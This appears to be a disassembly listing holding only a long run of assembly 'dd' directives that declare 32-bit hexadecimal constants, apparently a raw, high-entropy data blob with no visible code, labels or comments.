		dd 6AEE5764h, 0DC690141h, 6102F9E8h, 79E7EE6h, 6950D50Bh
		dd 0C9F6448Ah, 18516B58h, 27202A08h, 1A527F0h, 595AF29Fh
		dd 0D0783F6Eh, 0AB06F381h, 5B141FA8h, 3FC96CBAh, 0E4272FB8h
		dd 0E0DB4D13h, 97F28A5Fh, 0A605EA04h, 2805B85h,	0B64DB4Fh
		dd 0D98B5104h, 0DBA5E256h, 0AAC170D3h, 0E51D2801h, 2FF8A325h
		dd 70D28E41h, 90CF803Fh, 9414EABFh, 25977235h, 2DB059F5h
		dd 0DD76632Bh, 7B5F1CDEh, 0A3A87AAAh, 0B5A690BBh, 52DC58DEh
		dd 0B2072D1Ah, 0F373A1DDh, 5C4EE675h, 0E86E2FF5h, 1195C5ECh
		dd 38A9FD52h, 80D3DAD2h, 0CDF0DC11h, 0A0E60A41h, 0A5A1D1FFh
		dd 7E118865h, 0BCD92064h, 26A16E1h, 167BAE6Fh, 0BB3CF64Bh
		dd 0C4BF3881h, 2D310E30h, 0E3530BB7h, 0D7181A51h, 4A66539h
		dd 0E9B981CFh, 17868Ch,	0ADB00DCBh, 0C57A9A75h,	5BB6405Bh
		dd 24088311h, 0E9081957h, 0F95B0E32h, 0DE592DDEh, 0AE439C2h
		dd 5C950175h, 2EF52F68h, 6ABB4D75h, 8ABD0956h, 33DC61D9h
		dd 5F579000h, 43A6505Bh, 7740FA2Fh, 149748DCh, 6073AD4Fh
		dd 35B4A45Bh, 2880B22Fh, 51098769h, 0D1547318h,	0EEFC1917h
		dd 0F91B241Dh, 5666A53Ah, 0F30F1C98h, 69299135h, 92635C41h
		dd 8B0BDBFFh, 0ED880272h, 0C072D42Eh, 55413ACFh, 3CE4AA00h
		dd 0B3EC8497h, 98734BDBh, 4484702Ah, 2E000209h,	6ACA961Ah
		dd 70ECB80Bh, 0CC604BB0h, 0EB00F7E5h, 0B9D7381Eh, 16150DEEh
		dd 0AE5B5325h, 86A8CA16h, 0F12DF358h, 0E0060244h, 5671E414h
		dd 4B28710Eh, 2D4B935Bh, 8C4B8776h, 5CD84332h, 7BE81435h
		dd 1D15F507h, 3FFD20B0h, 0DF00EA31h, 33202BC6h,	1811FA79h
		dd 3EA47D4Ah, 33975BDAh, 54EBC74Ch, 4C2210C8h, 0A3B71293h
		dd 22894EE1h, 23441513h, 8F96991Eh, 34D03280h, 7744DA86h
		dd 35BD09EEh, 5C70CFC1h, 0F5DF810Fh, 2B42E24Bh,	0C1F28FC8h
		dd 0D18B5387h, 0FB16D493h, 26F812D9h, 2727945h,	0F619BDEEh
		dd 59D53B22h, 0A2B53E3Fh, 0A931842Dh, 7C2932F0h, 7492D519h
		dd 6F402B5Eh, 69DE47h, 119A9250h, 0D4843FEAh, 75711801h
		dd 19FC3456h, 395C36B8h, 6BC9A325h, 0E9FC1023h,	1EEEBD67h
		dd 5AAA0B00h, 0A7A8D2A1h, 1D14009Ah, 1F2D54B9h,	680980BDh
		dd 0A4098D29h, 7FB85F35h, 0E99D92DDh, 2D0C6252h, 0C4855C1Ah
		dd 6712562Fh, 0D94AE6F9h, 74C22B86h, 6CBF0032h,	6A58109Ah
		dd 92042518h, 0DF29FDABh, 0AB012A24h, 43728B28h, 3018E263h
		dd 0ED184B76h, 4DC87306h, 0B52BB29h, 0CC551191h, 0A58ADD92h
		dd 6DB5AAA2h, 0C3B9EEE8h, 0B17A3AF5h, 0CFFE210Eh, 0B9F87B0Ch
		dd 9099144Bh, 1AA80A3Dh, 5D160503h, 92EF93ACh, 0FBB7DFFCh
		dd 8D491100h, 25C02B67h, 845A82B7h, 0DCC4FCB5h,	160274E6h
		dd 21F815AEh, 9371B6h, 10346AEDh, 1D07B4ACh, 0E20F9619h
		dd 0A8BD0089h, 4B644F14h, 1D08F5Bh, 9FB8B60h, 9D34C195h
		dd 25289061h, 0C65927B5h, 15B54Bh, 911F71C2h, 70125567h
		dd 0D3308C3Ah, 0E68E8E5h, 106AA142h, 0C5E3B980h, 8A70851Fh
		dd 0FAC4AC00h, 6BEB81BEh, 464D2690h, 0DD646048h, 78028433h
		dd 87898024h, 5D8680D1h, 9EACF2F1h, 4C796929h, 2FF96F01h
		dd 302E18D3h, 0B59D29D6h, 0B78B2A4Bh, 998D31C1h, 9309D0Ch
		dd 71165989h, 0AE5FC578h, 45A34AF7h, 599F12C0h,	0F9B07909h
		dd 257971FAh, 4225F837h, 69D38780h, 0BB660908h,	6659D989h
		dd 2665E0B1h, 2EE1FF01h, 5E3B3C28h, 80909E05h, 1B0B2B5Fh
		dd 201F4E5Dh, 0DB99C685h, 0CD00F170h, 0DFD28ED1h, 682FDFEh
		dd 0A27D100Bh, 7525AEFFh, 1962C5EFh, 3060930Dh,	0C3AA3136h
		dd 61D67E60h, 20481497h, 1C9004BFh, 5F23ED20h, 24C6E60h
		dd 0FF9E2AF4h, 2F1F5C1Eh, 1C564CC2h, 75B59032h,	24BD3F28h
		dd 0AD6144E0h, 0BC7E22FEh, 9D0B616Bh, 21176F65h, 8D87AFEDh
		dd 10730915h, 9D23F582h, 55DB4AA5h, 1B91C035h, 80D10780h
		dd 7F3C933Ch, 0DAD4E36Ch, 50D89990h, 4480B43Ch,	0D11FB13Bh
		dd 0FD318800h, 89B81E6Bh, 28A906EFh, 3E81C292h,	6F5BBB1Ch
		dd 0FB905F89h, 0B32E7020h
		dd 66D37D0Bh, 0DB2C81ACh, 4CA59D42h, 7900C637h,	0A2C674F7h
		dd 79145CBAh, 68A88C00h, 2CCFD14Ch, 5F52502Dh, 58B95690h
		dd 3ED73700h, 0FEB3217Fh, 89B00569h, 0C25BC257h, 2D031DFh
		dd 58585A2Dh, 0D2B30542h, 17602CD0h, 6169F4E8h,	91543595h
		dd 35E78016h, 34666003h, 0AC08E1B9h, 0BA8C4A14h, 9CD01BBh
		dd 95014C5Eh, 0BF62C79h, 570290E9h, 0EEB44Dh, 6B51A2A7h
		dd 8178C0D2h, 57A604F6h, 31E4BD90h, 0B9615E80h,	0B0DE80F2h
		dd 0E3CDAA54h, 62FBF90Eh, 981F40B5h, 4BBA9D04h,	26058DE5h
		dd 0BE72F097h, 84550223h, 1B585DAAh, 31AA9857h,	1D192095h
		dd 0DBD0117h, 0DDD839F5h, 3555822Bh, 871691BBh,	6040B9FCh
		dd 64E58D33h, 0E985632Eh, 0CD6125BFh, 67186465h, 1F07F520h
		dd 571897D7h, 0C70DF380h, 0FA31BD2Bh, 0A55E89E5h, 98A4BF80h
		dd 43000253h, 0BB61C74Ah, 5A097A9Ch, 1B0AC208h,	755A5074h
		dd 70018635h, 220CDC6Dh, 0F880D82Ch, 0D258EE4Ah, 63A23900h
		dd 0EF649DB6h, 8D0B979Ah, 0B1705F5Bh, 25F7EEAh,	26656D3h
		dd 9B489637h, 0C69550C8h, 61593C07h, 4097BEFEh,	0F404BEBh
		dd 1C8CEC13h, 0F78B0C04h, 5E56F881h, 4A61F720h,	0E580E696h
		dd 838DE4h, 0F73F132Ah,	1921BBEAh, 0C656C525h, 29B79DD8h
		dd 98168600h, 901C7445h, 408D5F79h, 6D68F518h, 13029A3Ah
		dd 0EC5B63BBh, 925C6843h, 0BE857C39h, 0DE00DC08h, 6EFF2EA1h
		dd 2651BCC5h, 6006803Dh, 0A86DC4F5h, 0F229C800h, 440122F4h
		dd 3720040Fh, 0BC19812Fh, 9EB7C419h, 14FA7CF0h,	0DA51503Eh
		dd 0C25BFE1Eh, 0D5D9529h, 46DE6774h, 95D80116h,	55B53193h
		dd 5E29A32Bh, 1D80A19Ah, 91EF80C0h, 65252F98h, 0A104ED11h
		dd 182AF855h, 5082F74Eh, 71FE561Eh, 0FD7B2E4Fh,	81A92113h
		dd 3A6E74DEh, 7AAAEC85h, 98672D65h, 9EB816Fh, 54B88890h
		dd 2CDD2F79h, 9800D658h, 0F5872D2Ch, 909589DDh,	68D6BD04h
		dd 0E11F8161h, 0F65E20h, 0AE0D31B8h, 0EF755002h, 8ACE653Dh
		dd 9D8C0FF9h, 0E19D3341h, 0E9B7943Bh, 0A07FB884h, 0E6057FDh
		dd 0CE1833B9h, 90E2D7h,	37A17998h, 43B276h, 21409D3Ah
		dd 3E517F2Eh, 93F2614Bh, 83ED8586h, 29C78102h, 452C117Ch
		dd 3DA8B48h, 9B85AC3Dh,	54407B2Ah, 407533DCh, 0C8470089h
		dd 0A0B2C4Eh, 45255887h, 258C4634h, 39E6DE8Ah, 22CB8102h
		dd 5C03D156h, 0F6BB607Ch, 4B4BE7A6h, 6A6BF79Dh,	5014025Fh
		dd 60605357h, 482C325Bh, 0CE05A749h, 906187CBh,	0FB46B93Dh
		dd 38F38B2Ch, 4529102Dh, 10FEE22h, 0A3B4EA04h, 6A143BF9h
		dd 965B8981h, 0FE7D8035h, 5E8C14ACh, 6E2D89C0h,	4D44C9Ch
		dd 0CBAD56BCh, 0D627BC83h, 952B25A0h, 0DBAD4DE5h, 0D9DD5213h
		dd 37C6A537h, 16E2E2D2h, 7F6EFE5Ah, 892AA26h, 0BB1C26A9h
		dd 603BD144h, 290B0EF3h, 2368B1BDh, 317F04C2h, 70897D69h
		dd 40529600h, 0C202A0F2h, 0B2E21100h, 0FF1B9D17h, 8F4500F5h
		dd 4F7DF748h, 78C5FC60h, 28AE2309h, 0DB048131h,	3A3CF2AAh
		dd 0BA96F9B8h, 348050DBh, 0B734361h, 6CF7635Eh,	5BBD10A0h
		dd 980245F8h, 0F23A960Ah, 5C3442F8h, 850FC42Ah,	4EA6E368h
		dd 860106F2h, 0C90121BDh, 0A5FE886Eh, 9559281Ch, 609298D1h
		dd 64877530h, 927A0049h, 0CC05380Ch, 594C3FCEh,	3C0C091h
		dd 0FE394F2Bh, 0DE7B1CF3h, 0E0CF80F5h, 0D17ACE21h, 0A05A9D24h
		dd 81642Dh, 34FDD031h, 5780F25Dh, 8BF0030Dh, 0ED6B8AF9h
		dd 71FAC17h, 0E60716AFh, 0D837709Eh, 0E7258044h, 0D620742Ch
		dd 0F00F1946h, 11C5F75Ch, 0C973C1A7h, 86352F55h, 0C18091ECh
		dd 0ABEB52B8h, 4C5BA509h, 0C8E018BAh, 204D0180h, 96B57EC5h
		dd 0A82EE053h, 5FACF312h, 15886AF2h, 4F63F740h,	507F241Bh
		dd 53D7008Dh, 615BDA8Ah, 0FBDF8897h, 1BBDFB12h,	28C19ACh
		dd 4EED632Fh, 2D4A983Fh, 0CC486B5Ch, 64E800DEh,	0EB6A2A88h
		dd 0B1273023h, 4477D066h, 8917FC01h, 0B584699Dh, 0AB0364AEh
		dd 79D81509h, 9671A779h, 40E53600h, 29F4D99h, 9569DDEAh
		dd 5D7D52Ah, 0CF49C9D1h, 458C795Bh, 617BAE55h, 0A761F000h
		dd 4063D40Dh, 0E6CF3725h, 0DEC681ABh, 9A89112Fh, 2600CDBCh
		dd 146E4CEFh, 4B829081h, 5BA9CB20h, 31C332AEh, 5BEC89D5h
		dd 0ACC57041h, 0D30C1B01h, 0C18BE4E7h, 8C8A256Fh, 0EA0B9075h
		dd 0DFC9C848h, 0B04B036Dh, 0BE62FCC1h, 3FF640DBh, 0D008FB0h
		dd 58F1A3ACh, 47E5B7Fh,	5D6F5473h, 0C2AEBC0Bh, 8EE8905Fh
		dd 8036CB50h, 0FF6F8671h, 0A91F24F9h, 793F00D4h, 7B7505Fh
		dd 0E9DB904Fh, 0B5BE2C81h, 0FAC26BD6h, 29788928h, 0F2BD57BDh
		dd 64A17400h, 14CC28F3h, 0A917EEE3h, 13F50109h,	2F572212h
		dd 19F1841Dh, 1202E813h, 59B8D1E8h, 0B9FAB312h,	38A34B36h
		dd 4BF0441h, 0B4985328h, 3501DC9Ch, 63540764h, 2F25DF80h
		dd 92D29B6Ah, 0DCBB59AEh, 0BE206EFEh, 0BE3BBBh,	4EFAF44Ah
		dd 7E99030Eh, 0FE66216Ah, 590F5B2Dh, 0E87B191Dh, 2BF601F6h
		dd 0F956B070h, 80DA302Fh, 0FF1260D3h, 0B9F2F8D1h, 0E7CF978Bh
		dd 63837961h, 10809D3Ch, 0F51CB6B0h, 0F2B1E400h, 8028B76Ch
		dd 6BEF95EDh, 92F89040h, 2DE701B2h, 44D20EBBh, 0F3C27B59h
		dd 3C5C0917h, 70C7190Bh, 17B797EEh, 0B4296200h,	17E6BFF8h
		dd 6566A07Ch, 2198C034h, 6109F5BAh, 790CDDE9h, 0F50B62D2h
		dd 9251EB27h, 77213C07h, 97438FCCh, 0B557D6BAh,	0E982253Ch
		dd 90051E19h, 0AAE524BBh, 1F4EC9C8h, 0E75066EAh, 5DC96D4Dh
		dd 0F55CAB32h, 0ECD9DD52h, 0B1F42CF9h, 4F710992h, 8D9886AFh
		dd 97000127h, 0C5704633h, 1A7BE8Eh, 8CCD1DC0h, 3CAF92EFh
		dd 63571203h, 0E78324AEh, 0CA0FB05Eh, 9F3FCB9h,	48159D2Dh
		dd 66A90AD1h, 6BBAE380h, 0F8F31ACDh, 0D38101A9h, 6AA6DF0Ah
		dd 0E6CBDCFFh, 43585D77h, 0F2D525EAh, 0D8F94B2Fh, 0BF882DEBh
		dd 0F0EA0CC0h, 0BA0EB01Fh, 7A286A02h, 622970E6h, 81C657C0h
		dd 0E47F520Bh, 26E65F71h, 40CDBD38h, 0E1049757h, 7A5F090Bh
		dd 2DF669DFh, 2055709Ah, 0E4A40BB8h, 7A632646h,	611802B4h
		dd 0EB5E2FB4h, 4EEF7630h, 0D3909702h, 701658BBh, 990203C9h
		dd 0DDF8F380h, 0FA4A325Ah, 872D56B9h, 34400F6Ch, 56C8322Bh
		dd 86A911B4h, 29498F55h, 8BA879F9h, 767C01BDh, 894C4443h
		dd 0BEF3315Fh, 8D290919h, 0B4792EA1h, 0B4206B27h, 0BD8004FEh
		dd 1A25F17h, 6FEAA1C2h,	30CB2093h, 0DF25C910h, 26B3E95Fh
		dd 1DB58910h, 9545E8B5h, 7B1E4161h, 8B37B88h, 8E86046h
		dd 0D3149082h, 81C6F4AFh, 8BB45FF9h, 0B6312F61h, 122FD98Ah
		dd 13E8DACh, 2F316D90h,	1A73AC29h, 268AF934h, 0B08C4085h
		dd 4DB8AD4Ah, 137335B0h, 2DE8D94h, 48032F29h, 8982BB6Bh
		dd 0E10E1585h, 298B46BCh, 5531589Fh, 0C84EEF59h, 3507B378h
		dd 0A777F967h, 225D2460h, 0BE8997D0h, 31016CBFh, 7BA155EEh
		dd 0F24E69FCh, 0B0949067h, 0B294A324h, 0A958F595h, 294FB926h
		dd 0DCA2D6A5h, 0D743FA2Dh, 0BD8BE4B2h, 0DF92AD51h, 302AEBF1h
		dd 319D0B86h, 8BF41E41h, 0C02B2FFAh, 731CC437h,	6F67BB40h
		dd 4A301596h, 210B04D3h, 17BA0E05h, 0AD4A0AA3h,	8C19FC5Eh
		dd 6D712001h, 5796E813h, 0F25FEE92h, 8A522FBDh,	8100FA55h
		dd 61DFE5D0h, 6AEE955Fh, 78D43F96h, 0D93409DBh,	17D86AE2h
		dd 0CE88264Fh, 0CDBF4B2Ah, 89BCF794h, 922579F1h, 3DBD52B8h
		dd 0A3A812h, 76C22E1h
		dd 0F6BB44ECh, 626FA401h, 0AD352DBFh, 859D8C40h, 0C19C9722h
		dd 0B07B664Fh, 0FE0CD80Eh, 0A4C2675Fh, 786CC15Ch, 0B8134AC1h
		dd 0D2DAB40Eh, 9B899CC0h, 62095279h, 8560E4A6h,	0C500F1F3h
		dd 616826E2h, 8BE112FFh, 85C8F2DAh, 7AFE0428h, 2CA40439h
		dd 0ABBC1199h, 594E17A3h, 800952F0h, 7A8808E8h,	1B7274h
		dd 0E16E639Ah, 3495BD09h, 0A7A8C7B5h, 0F2BBABD0h, 957B678h
		dd 850FCF69h, 8E4023F9h, 79C87h, 45E1FC5Ch, 5B63BF3h, 6C15FA01h
		dd 0B603CA0h, 6615F96Fh, 0B0DA9ACh, 6027B361h, 7170B9DBh
		dd 0A9D3A3D0h, 113AF360h, 9ABCC401h, 111E6214h,	81F84A96h
		dd 797883B4h, 4B64AF9Ch, 82A872EDh, 2C6AF501h, 0B7AC6127h
		dd 2E44443Ah, 3F7AFF01h, 89E31F0Ah, 0A33018B1h,	1A97AFDFh
		dd 6B4B5E12h, 0F0305C09h, 2FE350FEh, 0F3BFB725h, 45439DD4h
		dd 885FFA8Ah, 0B7240489h, 44CB946Dh, 0A97E9Ch, 535675DCh
		dd 0FAAAEB81h, 5B4BBD17h, 9D01B2C0h, 0E3095A89h, 0F53096F1h
		dd 6A967Ah, 5ED03CCFh, 502E24EEh, 74810F29h, 9EC7F92Fh
		dd 0E4E62DDFh, 0C25AD500h, 8DE84F9h, 0C1E41345h, 15FE268h
		dd 8CFF9CDFh, 0F1495F81h, 9FA7203Bh, 8C98AB35h,	48116800h
		dd 0A136EC59h, 0F7510016h, 0D6963EDCh, 0F3258058h, 54955914h
		dd 0CC421500h, 0EEB8ED3Dh, 8C854E1Eh, 0CF01813Eh, 7DA5296h
		dd 2D2464E9h, 0F49897F9h, 0CE95EDB3h, 28E521F9h, 0E1CF8041h
		dd 3077342Fh, 89B7238Ah, 33361C17h, 495ECF16h, 78E5DB67h
		dd 0D002E6F1h, 0E2DB1458h, 62C2DCE4h, 0FB608EB3h, 0BA972EF1h
		dd 45014880h, 538197BCh, 7E96C5B7h, 0E640F68Dh,	1FC425ACh
		dd 0E57DFA9Dh, 0ADC0A76Dh, 0BE21B589h, 32592DC3h, 99E80054h
		dd 809F6825h, 0C095B60Dh, 2D8360E5h, 17734A11h,	51181C59h
		dd 88FB2F03h, 4173A60Bh, 2207AA1Ch, 505FF9F0h, 0D5619F53h
		dd 0A8F7E64Dh, 0EDE903Dh, 0D59529B1h, 66E94B70h, 3DDFC92Dh
		dd 5E003980h, 0E96D97EBh, 615BF0D7h, 0C982AB84h, 0F43457DDh
		dd 21C5D580h, 45D21C97h, 30B66032h, 239DBF04h, 7BFE42E9h
		dd 309F0095h, 0E18B827Dh, 35952689h, 0B56DA5C7h, 17467Ch
		dd 1BBC876Eh, 25486ABFh, 53C56484h, 851B511h, 0A63FC50Bh
		dd 261E6CEh, 1E7EECC1h,	597DFBD5h, 123181Bh, 4B8D658Ch
		dd 30395AD2h, 284A6122h, 0E6D787E2h, 61EAA29Ah,	56F669BCh
		dd 3189E9CBh, 0F4A4675Bh, 0BB44BCD6h, 49A58184h, 9D3CA8D9h
		dd 6C55BB40h, 12824E0h,	7BA7EFC7h, 30D51412h, 0D1B9537Fh
		dd 9EAF5780h, 3FD7FAAh,	373079D9h, 0BF900B3Fh, 69018791h
		dd 9D89965Bh, 0CA3F1C81h, 4D9509ABh, 0AAB8D525h, 0E238D381h
		dd 733AAD9Eh, 18195996h, 302F0540h, 0C1AB4DEDh,	2B2BA566h
		dd 1DC8859Bh, 126661C0h, 91920211h, 0B69B70DCh,	78D908E1h
		dd 98812BCh, 23AA6BABh,	5D7B0216h, 3157F53Fh, 6B1013A8h
		dd 89054861h, 0C2992FDFh, 5EBE3FAh, 0FF28EC2Bh,	549E80ECh
		dd 5FC91A3Eh, 9D109272h, 0B6D31085h, 0F3F0E74Fh, 25B525BFh
		dd 94C63D0Bh, 0A64B807Fh, 141918Dh, 0C2490D71h,	57D410A5h
		dd 599C73A5h, 0BDCC1917h, 37C55E0Bh, 0EB21CB3Bh, 0DC5BFCFAh
		dd 2127EBBh, 8DB15236h,	0EA733E40h, 0BD6F4EA1h,	0D5DC4CBh
		dd 3E6C2DAEh, 8D02926Ah, 884117B6h, 4251E456h, 0F4C4DCC2h
		dd 1E2C1301h, 96D1F33Bh, 0DA74882Fh, 9C95D307h,	0C6D035CDh
		dd 7B0625h, 4855963h, 651AA728h, 0FF0B0B5Fh, 5B860996h
		dd 97262211h, 9DB963F9h, 65C001ECh, 3591FD87h, 8F1B128Dh
		dd 4E07E6CEh, 142917CCh, 0F31DED9Dh, 0DC56F8A2h, 0C3A7746Bh
		dd 0ACC475BBh, 847CA3CDh, 4C07ABBh, 9AFA68F0h, 8481DFC3h
		dd 6810DDAAh, 17D511B7h, 4DEC625h, 0FDFA00F4h, 22DD0DA6h
		dd 1104CB81h, 5045048Bh, 1E7920FEh, 0D30B8F56h,	0C45B0D78h
		dd 395009Dh, 0B445D8AEh, 2044A34h, 9ADF8ED4h, 4906CFAAh
		dd 83AC67h, 356D2B29h, 2CA65AF1h, 4C8B2348h, 0B7A45FB4h
		dd 0AC274EE9h, 0F7093D9Ah, 512F2842h, 76F5BAF7h, 9105D40Ah
		dd 9D33B698h, 0C8BD54BFh, 0A26ED205h, 161AA867h, 0EFA082C2h
		dd 0C228B0Bh, 0CFBF0205h, 9053824Bh, 2EE01B6Dh,	4B2C7B09h
		dd 8784E960h, 2FD895B5h, 164F8778h, 6A9751ADh, 0BF8E006Bh
		dd 2A794C6h, 29B7BD6Ah,	0CBC6FF80h, 0D2F4E2h, 6046289Dh
		dd 0B866C2B1h, 61443B01h, 2BCF2DBBh, 0DBD18ECEh, 0D4C75E88h
		dd 4D1DAC10h, 882BCB0h,	90A0F0D9h, 1EE98504h, 7AAE0112h
		dd 0F16B4EC2h, 4CB41004h, 0AD1F4A51h, 4B2AE82Eh, 9E8E639h
		dd 0C66ADABFh, 1BA100DCh, 4AA3EFE3h, 0C924BF27h, 0A538F20Ch
		dd 0AFFB7331h, 1D59FFFBh, 943E0318h, 0FB5A81D6h, 15393F35h
		dd 0E2750B02h, 0F89CFF2Ch, 88B7AF5Fh, 74DD97B0h, 5F3944Ah
		dd 0AF026A12h, 0FE02386Eh, 0A3E3AFD2h, 4E08AD84h, 1297DF56h
		dd 5F54CC00h, 7C17BF50h, 0E96D55CFh, 0A456E6Ah,	0C62B706Ch
		dd 76ED8925h, 11005557h, 9983CF77h, 63F70BFEh, 0EAC2F075h
		dd 9CD57DC2h, 84374968h, 95F754Dh, 96D52BFEh, 582C9B82h
		dd 210EF666h, 20609084h, 0F88B5957h, 8B20E361h,	0A5CD1FCBh
		dd 5877EB0Ah, 6000C9ABh, 1F3D7688h, 16176D8Dh, 0F155BD89h
		dd 259B2BE2h, 75C11A88h, 0EF0CE03h, 0AD2748B9h,	6D446FC0h
		dd 0A304F628h, 0E0F73543h, 3165FB81h, 4A31CE2Bh, 0A004FE6Ah
		dd 0B8C4ED71h, 0D45E7954h, 0AE0E64BAh, 674CC96Ah, 8212F140h
		dd 9D5F707h, 819F9855h,	5BFCBD15h, 37CE00DEh, 41430F7Dh
		dd 7B4BC23Ch, 8A2C5A98h, 23F965C0h, 4AA75895h, 22A3ADFAh
		dd 4F9A950Ch, 2CC579DFh, 193D1144h, 8D4871E4h, 91535CD2h
		dd 0C9DA62FCh, 4458091Dh, 0F740EEB6h, 0C8CC5FEh, 66A12667h
		dd 1A40A954h, 3CBA555Fh, 0BFC18950h, 98B3121Bh,	153E01Ch
		dd 11E99D17h, 0F0294ABh, 4709E3D2h, 0B6171218h,	95A77900h
		dd 0CD5292D8h, 0C82B249Bh, 0B4902714h, 0E925F5D1h, 8839F9A0h
		dd 5000F113h, 0B47554Ch, 6B39499Dh, 0BA6D5231h,	44812FDDh
		dd 90902907h, 49406034h, 0D27FA8E3h, 4833AA1Eh,	0D5CAC8AAh
		dd 33180336h, 0E4548A51h, 0C305C9B8h, 24612497h, 0C6C7AE57h
		dd 191042Bh, 0D914610Ch, 2747E932h, 1ED1F589h, 0B0009E21h
		dd 16921481h, 15EC95CCh, 0C90DBD22h, 94D5FB4Ah,	4B6598A6h
		dd 966399DFh, 0D610DA2Ch, 110C988Ah, 59149710h,	134D8471h
		dd 5FE8A2h, 0ACAF150Fh,	6D0382C5h, 50F53D6Dh, 0C1B8C96Dh
		dd 30069800h, 0CA8C92FAh, 85F95038h, 0FA225B71h, 97529C30h
		dd 7503004Ah, 0F5321690h, 0B43DFA9Ah, 39AC0BB3h, 928ED1F4h
		dd 3287E35Bh, 3141A03h,	9D732B9h, 81233777h, 868D2E1Fh
		dd 0E1C74841h, 0DC6EFC5Ah, 88D31F01h, 3BB2BE73h, 807F1C2h
		dd 2CB50881h, 8B1CFC12h, 0CCB91156h, 0B20E1292h, 1D246250h
		dd 0CB3ED724h, 0D4B595h, 0B98F1C90h, 960982F6h,	0F252802h
		dd 0E2B286Dh, 26E99D31h, 90CC1C5Eh, 0C2C3D625h,	397734D2h
		dd 9A6BF5FAh, 0C01BC89Eh, 6B534FE5h, 39ED6409h,	5B4A71CBh
		dd 0B7DDD9FAh, 0D82C80EEh, 7AB78F23h, 0F33C1497h, 7D88214h
		dd 89018210h, 0BFE04CF8h, 8C89E509h, 11E3884Bh,	2BE7F512h
		dd 25676A5Eh, 3C1751C4h, 7EF9E625h, 0F0A6093h, 62A5C77Dh
		dd 0E0686D2Fh, 74C13858h, 540FB804h, 0EBAE2Bh, 6A4ABBBDh
		dd 1497037Ah, 5E294359h, 41002A6Ah, 85CB2FA1h, 0B57661EEh
		dd 81279490h
		dd 717E561Eh, 4AAC140Dh, 4D1ACAA2h, 0EB3B655Ah,	885093A6h
		dd 5BAB9F1Dh, 79894037h, 87C8401h, 0AC8D921Ch, 0D2DC463h
		dd 2F9CD9EAh, 1300EF6Ah, 3D33A4B8h, 0B12D73Ah, 5BBC7C17h
		dd 80B4BCD2h, 0F8113808h, 0A135001Dh, 0FE73485Bh, 0DE129829h
		dd 1EE49F74h, 0EB818811h, 0E8B7C509h, 0E910561Ah, 34051EDh
		dd 2EC62E36h, 0B63EC34h, 625C2286h, 21746D6h, 1075830Bh
		dd 482BD5F9h, 5E1F44D7h, 0F19DE66Ah, 0A3428BD5h, 59145CDEh
		dd 0F3461009h, 1FD1E6F2h, 0E5ABD5B1h, 0A53A38D6h, 6B0ECAD9h
		dd 58F1BDE5h, 5BB9208h,	1BDBE915h, 12516B58h, 87A36AC9h
		dd 852E013Bh, 80BB4135h, 0DBDC6A90h, 0B90A44F9h, 99FD014Bh
		dd 71166CE8h, 0FAADF501h, 116D9D82h, 2BF3A57h, 5C107688h
		dd 3B2C6D03h, 75AA8D53h, 0A84AB951h, 0AEAB031Eh, 4B076150h
		dd 0C45DF425h, 4DF8C41Eh, 0D6F3AD10h, 446B044h,	5CE0F6B6h
		dd 3848A20Ch, 0BC112A38h, 0FA5E5498h, 0B3ED2913h, 0F300F4B8h
		dd 0F659D238h, 98F52262h, 12CD2520h, 4DA711C5h,	0BC09404Eh
		dd 0B9094A35h, 5DA7499Bh, 0A85DB010h, 0DDFC581Fh, 44656D40h
		dd 3DB23h, 5F677F54h, 0B6ECC268h, 6460A226h, 7043C53Eh
		dd 7E3BCFF1h, 0ED5F62D7h, 3D75A0D7h, 0BD5D6817h, 0AF00A337h
		dd 1EC0128Fh, 0EC890BE7h, 3F578D86h, 6BA88182h,	7C87DA5Bh
		dd 0DF4C73DBh, 9C6F9320h, 0D6278B00h, 0C6ED0B85h, 0CEA44924h
		dd 0CB06FCCBh, 3CC0246Dh, 154967Ch, 0EDBBAD60h,	3F5673B7h
		dd 25BD29D8h, 51732FD1h, 4E181BF9h, 5F8C9D01h, 0EC887FAh
		dd 0EAB9292Bh, 28C140A2h, 761EE902h, 5A59C909h,	2EE6A8D5h
		dd 0F6D31C95h, 0DE9EFB00h, 8365E2A2h, 9522B22Fh, 0A6746294h
		dd 0D305739Dh, 0F64CD790h, 1484BF5Bh, 227E8FAAh, 9CE2B073h
		dd 175C2577h, 0DB4300FCh, 0BC7BF963h, 912598Fh,	0CE2606Ch
		dd 0E6535C03h, 46A89112h, 4500A02Bh, 8818D50Ch,	65E4D9Eh
		dd 12B5B966h, 10ECBA61h, 579D3A97h, 0B933B404h,	25A5D081h
		dd 282C6D8h, 0F5096FCh,	0E1710982h, 0CEB4BA06h,	61D60A2Eh
		dd 497CF996h, 3600D1D1h, 117C2D4Bh, 0E0050154h,	0B76997C7h
		dd 31B62AC5h, 19A24Ah, 4AD57650h, 38A228D9h, 0FB004FFCh
		dd 0DDBDCA5Bh, 0F8520CD2h, 9D230459h, 3BB901D1h, 4F88BED7h
		dd 2DBD102Bh, 1AC44A2Ah, 7AED03A9h, 8D920EF8h, 69AA03CAh
		dd 8D26AB84h, 0F9014484h, 4DFC8995h, 0BD95C09Fh, 0A098CF4Eh
		dd 16ADB512h, 7A272DABh, 0AF04236Ah, 0B8A8F470h, 0F88AC21Ch
		dd 0DEA95C6Ah, 7F49AC73h, 53518407h, 17FD4481h,	108E5B03h
		dd 391DE12Fh, 0AB705151h, 5BC81754h, 26F44796h,	37F56934h
		dd 0AB10018Fh, 5575BD03h, 19170499h, 0A197BC01h, 5CD6EDBDh
		dd 2159E941h, 0D4096747h, 300F406h, 0BAF9F008h,	4B8D2939h
		dd 965A0B31h, 0FDF66A89h, 0B825314h, 0FA5F9856h, 0AE649728h
		dd 0B50CA503h, 3F8F12ECh, 0D25FB721h, 0C6579630h, 434B94A5h
		dd 0A00052C8h, 7A4BCE2h, 0F42B0814h, 1C78130Ch,	832AAFD7h
		dd 5A8B6D80h, 81B3998h,	0C2C44156h, 40BDDEACh, 14D4E07Ch
		dd 166FE701h, 54E63DC7h, 0B2CEA63Ah, 83D73016h,	0FC8D215Ah
		dd 0D7D9C547h, 7BE469Ch, 865503D4h, 0E4CF8259h,	7CB9B5B8h
		dd 9C04BB04h, 0ABB8615Bh, 0D56D0ED3h, 0E200B816h, 0B8FF2922h
		dd 0C4A5B1E7h, 0B9010DB2h, 7E81D592h, 9090094Bh, 97C1C380h
		dd 35BF4D1Eh, 0DDD8048Ah, 5A3E301Fh, 0B548005Dh, 80893330h
		dd 8B255C44h, 9B2892Bh,	245358D5h, 169CEEB7h, 0C124204Dh
		dd 80125F50h, 58E6A2CBh, 373019B2h, 2DADE47Eh, 6690F6E2h
		dd 2300E1B2h, 50801526h, 182D2E3h, 0F3D338DAh, 669D5369h
